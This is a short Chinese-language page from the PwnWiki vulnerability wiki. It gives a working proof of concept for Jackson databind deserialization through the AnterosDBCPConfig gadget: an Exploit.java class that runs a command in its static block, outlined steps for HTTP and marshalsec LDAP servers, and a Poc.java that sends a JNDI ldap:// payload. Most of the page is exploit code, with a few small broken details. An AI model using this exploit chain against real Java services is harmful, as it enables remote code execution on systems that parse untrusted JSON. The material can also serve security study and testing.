免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
漏洞利用
编译Exploit.java:
import java.lang.Runtime; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }
搭建HTTP服务 使用Python搭建简易SimpleHTTPServer服务:
搭建LDAP服务 使用marshalsec来启动一个LDAP服务:
执行漏洞POC1 Poc.java代码如下所示:
package com.jacksonTest; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}"; try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
之后运行该程序,成功执行命令,弹出计算器
PWNWIK.COM